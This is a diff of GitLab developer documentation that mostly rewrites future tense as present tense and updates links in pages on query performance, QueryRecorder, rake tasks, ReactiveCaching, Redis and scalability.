+| Queries in a migration | `100ms` | This is different than the total [migration time](database_review.md#timing-guidelines-for-migrations). |
+| Concurrent operations in a migration | `5min` | Concurrent operations do not block the database, but they block the GitLab update. This includes operations such as `add_concurrent_index` and `add_concurrent_foreign_key`. |
+| Background migrations | `1s` | |
+| Usage Ping | `1s` | See the [usage ping docs](product_analytics/usage_ping.md#developing-and-testing-usage-ping) for more details. |
+
+- When analyzing your query's performance, pay attention to if the time you are seeing is on a [cold or warm cache](#cold-and-warm-cache). These guidelines apply for both cache types.
+- When working with batched queries, change the range and batch size to see how it effects the query timing and caching.
+- If an existing query is already underperforming, make an effort to improve it. If it is too complex or would stall development, create a follow-up so it can be addressed in a timely manner. You can always ask the database reviewer or maintainer for help and guidance.
+
+## Cold and warm cache
+
+When evaluating query performance it is important to understand the difference between
+cold and warm cached queries.
+
+The first time a query is made, it is made on a "cold cache". Meaning it needs
+to read from disk. If you run the query again, the data can be read from the
+cache, or what PostgreSQL calls shared buffers. This is the "warm cache" query.
+
+When analyzing an [`EXPLAIN` plan](understanding_explain_plans.md), you can see
+the difference not only in the timing, but by looking at the output for `Buffers`
+by running your explain with `EXPLAIN(analyze, buffers)`. The [#database-lab](understanding_explain_plans.md#database-lab)
+tool will automatically include these options.
+
+If you are making a warm cache query, you will only see the `shared hits`.
+
+For example in #database-lab:
+
+```plaintext
+Shared buffers:
+ - hits: 36467 (~284.90 MiB) from the buffer pool
+ - reads: 0 from the OS file cache, including disk I/O
+```
+
+Or in the explain plan from `psql`:
+
+```sql
+Buffers: shared hit=7323
+```
+
+If the cache is cold, you will also see `reads`.
+
+In #database-lab:
+
+```plaintext
+Shared buffers:
+ - hits: 17204 (~134.40 MiB) from the buffer pool
+ - reads: 15229 (~119.00 MiB) from the OS file cache, including disk I/O
+```
+
+In `psql`:
+
+```sql
+Buffers: shared hit=7202 read=121
+```
diff --git a/doc/development/query_recorder.md b/doc/development/query_recorder.md
index 4a02af3348c..3cc7b140e89 100644
--- a/doc/development/query_recorder.md
+++ b/doc/development/query_recorder.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# QueryRecorder
@@ -10,7 +10,7 @@ QueryRecorder is a tool for detecting the [N+1 queries problem](https://guides.r
> Implemented in [spec/support/query_recorder.rb](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/support/helpers/query_recorder.rb) via [9c623e3e](https://gitlab.com/gitlab-org/gitlab-foss/commit/9c623e3e5d7434f2e30f7c389d13e5af4ede770a)
-As a rule, merge requests [should not increase query counts](merge_request_performance_guidelines.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed will silently reintroduce the problem.
+As a rule, merge requests [should not increase query counts](merge_request_performance_guidelines.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed can silently reintroduce the problem.
## How it works
@@ -30,7 +30,7 @@ In some cases the query count might change slightly between runs for unrelated r
## Cached queries
-By default, QueryRecorder will ignore [cached queries](merge_request_performance_guidelines.md#cached-queries) in the count. However, it may be better to count
+By default, QueryRecorder ignores [cached queries](merge_request_performance_guidelines.md#cached-queries) in the count. However, it may be better to count
all queries to avoid introducing an N+1 query that may be masked by the statement cache.
To do this, this requires the `:use_sql_query_cache` flag to be set.
You should pass the `skip_cached` variable to `QueryRecorder` and use the `exceed_all_query_limit` matcher:
@@ -73,7 +73,7 @@ There are multiple ways to find the source of queries.
- View the call backtrace for the specific `QueryRecorder` instance you want
by using `ActiveRecord::QueryRecorder.new(query_recorder_debug: true)`. The output
- will be in `test.log`
+ is stored in file `test.log`.
- Enable the call backtrace for all tests using the `QUERY_RECORDER_DEBUG` environment variable.
@@ -83,7 +83,7 @@ There are multiple ways to find the source of queries.
QUERY_RECORDER_DEBUG=1 bundle exec rspec spec/requests/api/projects_spec.rb
```
- This will log calls to QueryRecorder into the `test.log` file. For example:
+ This logs calls to QueryRecorder into the `test.log` file. For example:
```sql
QueryRecorder SQL: SELECT COUNT(*) FROM "issues" WHERE "issues"."deleted_at" IS NULL AND "issues"."project_id" = $1 AND ("issues"."state" IN ('opened')) AND "issues"."confidential" = $2
diff --git a/doc/development/rails_initializers.md b/doc/development/rails_initializers.md
index bc0ac963f3f..89902c81cd5 100644
--- a/doc/development/rails_initializers.md
+++ b/doc/development/rails_initializers.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Rails initializers
diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md
index 2dca747425c..09e8f780fe1 100644
--- a/doc/development/rake_tasks.md
+++ b/doc/development/rake_tasks.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Rake tasks for developers
@@ -61,7 +61,7 @@ bin/rake "gitlab:seed:insights:issues[group-path/project-path]"
```
By default, this seeds an average of 10 issues per week for the last 52 weeks
-per project. All issues will also be randomly labeled with team, type, severity,
+per project. All issues are also randomly labeled with team, type, severity,
and priority.
#### Seeding groups with sub-groups
@@ -116,8 +116,8 @@ so no worries about missing errors.
There are a few environment flags you can pass to change how projects are seeded
- `SIZE`: defaults to `8`, max: `32`. Amount of projects to create.
-- `LARGE_PROJECTS`: defaults to false. If set will clone 6 large projects to help with testing.
-- `FORK`: defaults to false. If set to `true` will fork `torvalds/linux` five times. Can also be set to an existing project full_path and it will fork that instead.
+- `LARGE_PROJECTS`: defaults to false. If set, clones 6 large projects to help with testing.
+- `FORK`: defaults to false. If set to `true`, forks `torvalds/linux` five times. Can also be set to an existing project `full_path` to fork that instead.
## Run tests
@@ -132,10 +132,10 @@ In order to run the test you can use the following commands:
`bin/rake spec` takes significant time to pass.
Instead of running the full test suite locally, you can save a lot of time by running
a single test or directory related to your changes. After you submit a merge request,
-CI will run full test suite for you. Green CI status in the merge request means
+CI runs full test suite for you. Green CI status in the merge request means
full test suite is passed.
-You can't run `rspec .` since this will try to run all the `_spec.rb`
+You can't run `rspec .` since this tries to run all the `_spec.rb`
files it can find, also the ones in `/tmp`
You can pass RSpec command line options to the `spec:unit`,
@@ -157,7 +157,7 @@ To run several tests inside one directory:
speeds up development by keeping your application running in the background so
you don't need to boot it every time you run a test, Rake task or migration.
-If you want to use it, you'll need to export the `ENABLE_SPRING` environment
+If you want to use it, you must export the `ENABLE_SPRING` environment
variable to `1`:
```shell
@@ -180,7 +180,7 @@ environment you can do so with the following command:
RAILS_ENV=production NODE_ENV=production bundle exec rake gitlab:assets:compile
```
-This will compile and minify all JavaScript and CSS assets and copy them along
+This compiles and minifies all JavaScript and CSS assets and copy them along
with all other frontend assets (images, fonts, etc) into `/public/assets` where
they can be easily inspected.
@@ -200,7 +200,7 @@ following:
bundle exec rake gemojione:digests
```
-This will update the file `fixtures/emojis/digests.json` based on the currently
+This updates the file `fixtures/emojis/digests.json` based on the currently
available Emoji.
To generate a sprite file containing all the Emoji, run:
@@ -276,8 +276,13 @@ In its current state, the Rake task:
This uses some features from `graphql-docs` gem like its schema parser and helper methods.
The docs generator code comes from our side giving us more flexibility, like using Haml templates and generating Markdown files.
-To edit the template used, please take a look at `lib/gitlab/graphql/docs/templates/default.md.haml`.
-The actual renderer is at `Gitlab::Graphql::Docs::Renderer`.
+To edit the content, you may need to edit the following:
+
+- The template. You can edit the template at `lib/gitlab/graphql/docs/templates/default.md.haml`.
+ The actual renderer is at `Gitlab::Graphql::Docs::Renderer`.
+- The applicable `description` field in the code, which
+ [Updates machine-readable schema files](#update-machine-readable-schema-files),
+ which is then used by the `rake` task described earlier.
`@parsed_schema` is an instance variable that the `graphql-docs` gem expects to have available.
`Gitlab::Graphql::Docs::Helper` defines the `object` method we currently use. This is also where you
diff --git a/doc/development/reactive_caching.md b/doc/development/reactive_caching.md
index 106a9b5de31..5d514ffbfc9 100644
--- a/doc/development/reactive_caching.md
+++ b/doc/development/reactive_caching.md
@@ -1,17 +1,17 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# `ReactiveCaching`
> This doc refers to <https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/reactive_caching.rb>.
-The `ReactiveCaching` concern is used for fetching some data in the background and store it
+The `ReactiveCaching` concern is used for fetching some data in the background and storing it
in the Rails cache, keeping it up-to-date for as long as it is being requested. If the
-data hasn't been requested for `reactive_cache_lifetime`, it will stop being refreshed,
-and then be removed.
+data hasn't been requested for `reactive_cache_lifetime`, it stops being refreshed,
+and is removed.
## Examples
@@ -35,38 +35,40 @@ class Foo < ApplicationRecord
end
```
-In this example, the first time `#result` is called, it will return `nil`. However,
-it will enqueue a background worker to call `#calculate_reactive_cache` and set an
-initial cache lifetime of 10 min.
+In this example, the first time `#result` is called, it returns `nil`. However,
+it enqueues a background worker to call `#calculate_reactive_cache` and set an
+initial cache lifetime of 10 minutes.
## How it works
The first time `#with_reactive_cache` is called, a background job is enqueued and
`with_reactive_cache` returns `nil`. The background job calls `#calculate_reactive_cache`
and stores its return value. It also re-enqueues the background job to run again after
-`reactive_cache_refresh_interval`. Therefore, it will keep the stored value up to date.
+`reactive_cache_refresh_interval`. Therefore, it keeps the stored value up to date.
Calculations never run concurrently.
-Calling `#with_reactive_cache` while a value is cached will call the block given to
-`#with_reactive_cache`, yielding the cached value. It will also extend the lifetime
+Calling `#with_reactive_cache` while a value is cached calls the block given to
+`#with_reactive_cache`, yielding the cached value. It also extends the lifetime
of the cache by the `reactive_cache_lifetime` value.
-Once the lifetime has expired, no more background jobs will be enqueued and calling
-`#with_reactive_cache` will again return `nil` - starting the process all over again.
+After the lifetime has expired, no more background jobs are enqueued and calling
+`#with_reactive_cache` again returns `nil`, starting the process all over again.
-### 1 MB hard limit
+### Set a hard limit for ReactiveCaching
-`ReactiveCaching` has a 1 megabyte default limit. [This value is configurable](#selfreactive_cache_worker_finder).
+To preserve performance, you should set a hard caching limit in the class that includes
+`ReactiveCaching`. See the example of [how to set it up](#selfreactive_cache_hard_limit).
-If the data we're trying to cache has over 1 megabyte, it will not be cached and a handled `ReactiveCaching::ExceededReactiveCacheLimit` will be notified on Sentry.
+For more information, read the internal issue
+[Redis (or ReactiveCache) soft and hard limits](https://gitlab.com/gitlab-org/gitlab/-/issues/14015).
## When to use
- If we need to make a request to an external API (for example, requests to the k8s API).
-It is not advisable to keep the application server worker blocked for the duration of
-the external request.
+ It is not advisable to keep the application server worker blocked for the duration of
+ the external request.
- If a model needs to perform a lot of database calls or other time consuming
-calculations.
+ calculations.
## How to use
@@ -99,13 +101,13 @@ Controller endpoints that call a model or service method that uses `ReactiveCach
not wait until the background worker completes.
- An API that calls a model or service method that uses `ReactiveCaching` should return
-`202 accepted` when the cache is being calculated (when `#with_reactive_cache` returns `nil`).
+ `202 accepted` when the cache is being calculated (when `#with_reactive_cache` returns `nil`).
- It should also
-[set the polling interval header](fe_guide/performance.md#realtime-components) with
-`Gitlab::PollingInterval.set_header`.
+ [set the polling interval header](fe_guide/performance.md#realtime-components) with
+ `Gitlab::PollingInterval.set_header`.
- The consumer of the API is expected to poll the API.
- You can also consider implementing [ETag caching](polling.md) to reduce the server
-load caused by polling.
+ load caused by polling.
### Methods to implement in a model or service
@@ -113,17 +115,17 @@ These are methods that should be implemented in the model/service that includes
#### `#calculate_reactive_cache` (required)
-- This method must be implemented. Its return value will be cached.
-- It will be called by `ReactiveCaching` when it needs to populate the cache.
-- Any arguments passed to `with_reactive_cache` will also be passed to `calculate_reactive_cache`.
+- This method must be implemented. Its return value is cached.
+- It is called by `ReactiveCaching` when it needs to populate the cache.
+- Any arguments passed to `with_reactive_cache` are also passed to `calculate_reactive_cache`.
#### `#reactive_cache_updated` (optional)
- This method can be implemented if needed.
- It is called by the `ReactiveCaching` concern whenever the cache is updated.
-If the cache is being refreshed and the new cache value is the same as the old cache
-value, this method will not be called. It is only called if a new value is stored in
-the cache.
+ If the cache is being refreshed and the new cache value is the same as the old cache
+ value, this method is not called. It is only called if a new value is stored in
+ the cache.
- It can be used to perform an action whenever the cache is updated.
### Methods called by a model or service
@@ -134,22 +136,22 @@ the model/service.
#### `#with_reactive_cache` (required)
- `with_reactive_cache` must be called where the result of `calculate_reactive_cache`
-is required.
+ is required.
- A block can be given to `with_reactive_cache`. `with_reactive_cache` can also take
-any number of arguments. Any arguments passed to `with_reactive_cache` will be
-passed to `calculate_reactive_cache`. The arguments passed to `with_reactive_cache`
-will be appended to the cache key name.
+ any number of arguments. Any arguments passed to `with_reactive_cache` are
+ passed to `calculate_reactive_cache`. The arguments passed to `with_reactive_cache`
+ are appended to the cache key name.
- If `with_reactive_cache` is called when the result has already been cached, the
-block will be called, yielding the cached value and the return value of the block
-will be returned by `with_reactive_cache`. It will also reset the timeout of the
-cache to the `reactive_cache_lifetime` value.
-- If the result has not been cached as yet, `with_reactive_cache` will return nil.
-It will also enqueue a background job, which will call `calculate_reactive_cache`
-and cache the result.
-- Once the background job has completed and the result is cached, the next call
-to `with_reactive_cache` will pick up the cached value.
+ block is called, yielding the cached value and the return value of the block
+ is returned by `with_reactive_cache`. It also resets the timeout of the
+ cache to the `reactive_cache_lifetime` value.
+- If the result has not been cached as yet, `with_reactive_cache` return `nil`.
+ It also enqueues a background job, which calls `calculate_reactive_cache`
+ and caches the result.
+- After the background job has completed and the result is cached, the next call
+ to `with_reactive_cache` picks up the cached value.
- In the example below, `data` is the cached value which is yielded to the block
-given to `with_reactive_cache`.
+ given to `with_reactive_cache`.
```ruby
class Foo < ApplicationRecord
@@ -170,16 +172,16 @@ given to `with_reactive_cache`.
#### `#clear_reactive_cache!` (optional)
- This method can be called when the cache needs to be expired/cleared. For example,
-it can be called in an `after_save` callback in a model so that the cache is
-cleared after the model is modified.
+ it can be called in an `after_save` callback in a model so that the cache is
+ cleared after the model is modified.
- This method should be called with the same parameters that are passed to
-`with_reactive_cache` because the parameters are part of the cache key.
+ `with_reactive_cache` because the parameters are part of the cache key.
#### `#without_reactive_cache` (optional)
- This is a convenience method that can be used for debugging purposes.
- This method calls `calculate_reactive_cache` in the current process instead of
-in a background worker.
+ in a background worker.
### Configurable options
@@ -188,19 +190,19 @@ There are some `class_attribute` options which can be tweaked.
#### `self.reactive_cache_key`
- The value of this attribute is the prefix to the `data` and `alive` cache key names.
-The parameters passed to `with_reactive_cache` form the rest of the cache key names.
+ The parameters passed to `with_reactive_cache` form the rest of the cache key names.
- By default, this key uses the model's name and the ID of the record.
```ruby
self.reactive_cache_key = -> (record) { [model_name.singular, record.id] }
```
-- The `data` and `alive` cache keys in this case will be `"ExampleModel:1:arg1:arg2"`
-and `"ExampleModel:1:arg1:arg2:alive"` respectively, where `ExampleModel` is the
-name of the model, `1` is the ID of the record, `arg1` and `arg2` are parameters
-passed to `with_reactive_cache`.
-- If you're including this concern in a service instead, you will need to override
-the default by adding the following to your service:
+- The `data` and `alive` cache keys in this case are `"ExampleModel:1:arg1:arg2"`
+ and `"ExampleModel:1:arg1:arg2:alive"` respectively, where `ExampleModel` is the
+ name of the model, `1` is the ID of the record, `arg1` and `arg2` are parameters
+ passed to `with_reactive_cache`.
+- If you're including this concern in a service instead, you must override
+ the default by adding the following to your service:
```ruby
self.reactive_cache_key = ->(service) { [service.class.model_name.singular, service.project_id] }
@@ -212,7 +214,7 @@ the default by adding the following to your service:
#### `self.reactive_cache_lease_timeout`
- `ReactiveCaching` uses `Gitlab::ExclusiveLease` to ensure that the cache calculation
-is never run concurrently by multiple workers.
+ is never run concurrently by multiple workers.
- This attribute is the timeout for the `Gitlab::ExclusiveLease`.
- It defaults to 2 minutes, but can be overridden if a different timeout is required.
@@ -231,11 +233,11 @@ self.reactive_cache_lease_timeout = 1.minute
#### `self.reactive_cache_lifetime`
-- This is the duration after which the cache will be cleared if there are no requests.
+- This is the duration after which the cache is cleared if there are no requests.
- The default is 10 minutes. If there are no requests for this cache value for 10 minutes,
-the cache will expire.
-- If the cache value is requested before it expires, the timeout of the cache will
-be reset to `reactive_cache_lifetime`.
+ the cache expires.
+- If the cache value is requested before it expires, the timeout of the cache is
+ reset to `reactive_cache_lifetime`.
```ruby
self.reactive_cache_lifetime = 10.minutes
@@ -244,8 +246,8 @@ self.reactive_cache_lifetime = 10.minutes
#### `self.reactive_cache_hard_limit`
- This is the maximum data size that `ReactiveCaching` allows to be cached.
-- The default is 1 megabyte. Data that goes over this value will not be cached
-and will silently raise `ReactiveCaching::ExceededReactiveCacheLimit` on Sentry.
+- The default is 1 megabyte. Data that goes over this value is not cached
+ and silently raises `ReactiveCaching::ExceededReactiveCacheLimit` on Sentry.
```ruby
self.reactive_cache_hard_limit = 5.megabytes
@@ -300,7 +302,7 @@ which `calculate_reactive_cache` can be called.
end
```
- - In this example, the primary key ID will be passed to `reactive_cache_worker_finder`
- along with the parameters passed to `with_reactive_cache`.
+ - In this example, the primary key ID is passed to `reactive_cache_worker_finder`
+ along with the parameters passed to `with_reactive_cache`.
- The custom `reactive_cache_worker_finder` calls `.from_cache` with the parameters
- passed to `with_reactive_cache`.
+ passed to `with_reactive_cache`.
diff --git a/doc/development/redis.md b/doc/development/redis.md
index 7ee8afda36a..bb725e3c321 100644
--- a/doc/development/redis.md
+++ b/doc/development/redis.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Redis guidelines
@@ -43,9 +43,9 @@ a single Redis server. This means that keys should **always** be
globally unique across all categories.
It is usually better to use immutable identifiers - project ID rather than
-full path, for instance - in Redis key names. If full path is used, the key will
-stop being consulted if the project is renamed. If the contents of the key are
-invalidated by a name change, it is better to include a hook that will expire
+full path, for instance - in Redis key names. If full path is used, the key
+stops being consulted if the project is renamed. If the contents of the key are
+invalidated by a name change, it is better to include a hook that expires
the entry, instead of relying on the key changing.
### Multi-key commands
@@ -106,7 +106,7 @@ requests that read the most data from the cache, we can just sort by
### The slow log
-TIP: **Tip:**
+NOTE:
There is a [video showing how to see the slow log](https://youtu.be/BBI68QuYRH8) (GitLab internal)
on GitLab.com
@@ -195,7 +195,7 @@ provides a convenient interface for adding and counting values in HyperLogLogs.
For cases where we need to efficiently check the whether an item is in a group
of items, we can use a Redis set.
[`Gitlab::SetCache`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/set_cache.rb)
-provides an `#include?` method that will use the
+provides an `#include?` method that uses the
[`SISMEMBER`](https://redis.io/commands/sismember) command, as well as `#read`
to fetch all entries in the set.
diff --git a/doc/development/refactoring_guide/index.md b/doc/development/refactoring_guide/index.md
index 17deffb4cb2..224b6bf9b38 100644
--- a/doc/development/refactoring_guide/index.md
+++ b/doc/development/refactoring_guide/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Refactoring guide
diff --git a/doc/development/reference_processing.md b/doc/development/reference_processing.md
index 07833c0d302..23c0861081d 100644
--- a/doc/development/reference_processing.md
+++ b/doc/development/reference_processing.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: 'An introduction to reference parsers and reference filters, and a guide to their implementation.'
---
@@ -101,7 +101,7 @@ format the reference as:
This default implementation is not very efficient, because we need to call
`#find_object` for each reference, which may require issuing a DB query every
-time. For this reason, most reference filter implementations will instead use an
+time. For this reason, most reference filter implementations instead use an
optimization included in `AbstractReferenceFilter`:
> `AbstractReferenceFilter` provides a lazily initialized value
@@ -140,7 +140,7 @@ We are skipping:
To avoid filtering such nodes for each `ReferenceFilter`, we do it only once and store the result in the result Hash of the pipeline as `result[:reference_filter_nodes]`.
-Pipeline `result` is passed to each filter for modification, so every time when `ReferenceFilter` replaces text or link tag, filtered list (`reference_filter_nodes`) will be updated for the next filter to use.
+Pipeline `result` is passed to each filter for modification, so every time when `ReferenceFilter` replaces text or link tag, filtered list (`reference_filter_nodes`) are updated for the next filter to use.
## Reference parsers
@@ -199,4 +199,4 @@ In practice, all reference parsers inherit from [`BaseParser`](https://gitlab.co
- `#nodes_user_can_reference(user, nodes)` to filter nodes directly.
A failure to implement this class for each reference type means that the
-application will raise exceptions during Markdown processing.
+application raises exceptions during Markdown processing.
diff --git a/doc/development/renaming_features.md b/doc/development/renaming_features.md
index 02d1851dbfe..f7fc1c11e37 100644
--- a/doc/development/renaming_features.md
+++ b/doc/development/renaming_features.md
@@ -1,14 +1,14 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Renaming features
Sometimes the business asks to change the name of a feature. Broadly speaking, there are 2 approaches to that task. They basically trade between immediate effort and future complexity/bug risk:
-- Complete, rename everything in the repo.
+- Complete, rename everything in the repository.
- Pros: does not increase code complexity.
- Cons: more work to execute, and higher risk of immediate bugs.
- Façade, rename as little as possible; only the user-facing content like interfaces,
@@ -22,9 +22,9 @@ The more of the following that are true, the more likely you should choose the f
- You are not confident the new name is permanent.
- The feature is susceptible to bugs (large, complex, needing refactor, etc).
-- The renaming will be difficult to review (feature spans many lines, files, or repositories).
-- The renaming will be disruptive in some way (database table renaming).
+- The renaming is difficult to review (feature spans many lines, files, or repositories).
+- The renaming is disruptive in some way (database table renaming).
## Consider a façade-first approach
-The façade approach is not necessarily a final step. It can (and possibly *should*) be treated as the first step, where later iterations will accomplish the complete rename.
+The façade approach is not necessarily a final step. It can (and possibly *should*) be treated as the first step, where later iterations accomplish the complete rename.
diff --git a/doc/development/repository_mirroring.md b/doc/development/repository_mirroring.md
index 02d1499ca35..4153bcf77a5 100644
--- a/doc/development/repository_mirroring.md
+++ b/doc/development/repository_mirroring.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Repository mirroring
@@ -9,9 +9,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Deep Dive
In December 2018, Tiago Botelho hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`)
-on GitLab's [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository)
+on the GitLab [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository)
to share his domain specific knowledge with anyone who may work in this part of the
-code base in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=sSZq0fpdY-Y),
+codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=sSZq0fpdY-Y),
and the slides in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/8693404888a941fd851f8a8ecdec9675/Gitlab_Create_-_Pull_Mirroring_Deep_Dive.pdf).
Everything covered in this deep dive was accurate as of GitLab 11.6, and while specific
details may have changed since then, it should still serve as a good introduction.
diff --git a/doc/development/reusing_abstractions.md b/doc/development/reusing_abstractions.md
index 77534eea076..648f7104814 100644
--- a/doc/development/reusing_abstractions.md
+++ b/doc/development/reusing_abstractions.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Guidelines for reusing abstractions
diff --git a/doc/development/rolling_out_changes_using_feature_flags.md b/doc/development/rolling_out_changes_using_feature_flags.md
index cff88388ba0..7456e8df8d9 100644
--- a/doc/development/rolling_out_changes_using_feature_flags.md
+++ b/doc/development/rolling_out_changes_using_feature_flags.md
@@ -3,3 +3,6 @@ redirect_to: 'feature_flags/index.md'
---
This document was moved to [another location](feature_flags/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/routing.md b/doc/development/routing.md
index cbae2b38427..2c2f6b2a558 100644
--- a/doc/development/routing.md
+++ b/doc/development/routing.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Routing
diff --git a/doc/development/scalability.md b/doc/development/scalability.md
index 73f7c5e0915..a9b8fb4389f 100644
--- a/doc/development/scalability.md
+++ b/doc/development/scalability.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab scalability
@@ -16,7 +16,7 @@ scalability and reliability.
_[diagram source - GitLab employees only](https://docs.google.com/drawings/d/1RTGtuoUrE0bDT-9smoHbFruhEMI4Ys6uNrufe5IA-VI/edit)_
The diagram above shows a GitLab reference architecture scaled up for 50,000
-users. We will discuss each component below.
+users. We discuss each component below.
## Components
@@ -26,11 +26,10 @@ The PostgreSQL database holds all metadata for projects, issues, merge
requests, users, etc. The schema is managed by the Rails application
[db/structure.sql](https://gitlab.com/gitlab-org/gitlab/blob/master/db/structure.sql).
-GitLab Web/API servers and Sidekiq nodes talk directly to the database via a
-Rails object relational model (ORM). Most SQL queries are accessed via this
+GitLab Web/API servers and Sidekiq nodes talk directly to the database by using a
+Rails object relational model (ORM). Most SQL queries are accessed by using this
ORM, although some custom SQL is also written for performance or for
-exploiting advanced PostgreSQL features (e.g. recursive CTEs, LATERAL JOINs,
-etc.).
+exploiting advanced PostgreSQL features (like recursive CTEs or LATERAL JOINs).
The application has a tight coupling to the database schema. When the
application starts, Rails queries the database schema, caching the tables and
@@ -42,8 +41,8 @@ no-downtime changes](what_requires_downtime.md).
#### Multi-tenancy
A single database is used to store all customer data. Each user can belong to
-many groups or projects, and the access level (e.g. guest, developer,
-maintainer, etc.) to groups and projects determines what users can see and
+many groups or projects, and the access level (including guest, developer, or
+maintainer) to groups and projects determines what users can see and
what they can access.
Users with admin access can access all projects and even impersonate
@@ -70,7 +69,7 @@ dates](https://gitlab.com/groups/gitlab-org/-/epics/2023). For example,
the `events` and `audit_events` table are natural candidates for this
kind of partitioning.
-Sharding is likely more difficult and will require significant changes
+Sharding is likely more difficult and requires significant changes
to the schema and application. For example, if we have to store projects
in many different databases, we immediately run into the question, "How
can we retrieve data across different projects?" One answer to this is
@@ -78,7 +77,7 @@ to abstract data access into API calls that abstract the database from
the application, but this is a significant amount of work.
There are solutions that may help abstract the sharding to some extent
-from the application. For example, we will want to look at [Citus
+from the application. For example, we want to look at [Citus
Data](https://www.citusdata.com/product/community) closely. Citus Data
provides a Rails plugin that adds a [tenant ID to ActiveRecord
models](https://www.citusdata.com/blog/2017/01/05/easily-scale-out-multi-tenant-apps/).
@@ -100,17 +99,16 @@ systems.
A recent [database checkup shows a breakdown of the table sizes on
GitLab.com](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/8022#master-1022016101-8).
-Since `merge_request_diff_files` contains over 1 TB of data, we will want to
+Since `merge_request_diff_files` contains over 1 TB of data, we want to
reduce/eliminate this table first. GitLab has support for [storing diffs in
-object storage](../administration/merge_request_diffs.md), which we [will
-want to do on
+object storage](../administration/merge_request_diffs.md), which we [want to do on
GitLab.com](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7356).
#### High availability
There are several strategies to provide high-availability and redundancy:
-- Write-ahead logs (WAL) streamed to object storage (e.g. S3, Google Cloud
+- Write-ahead logs (WAL) streamed to object storage (for example, S3, or Google Cloud
Storage).
- Read-replicas (hot backups).
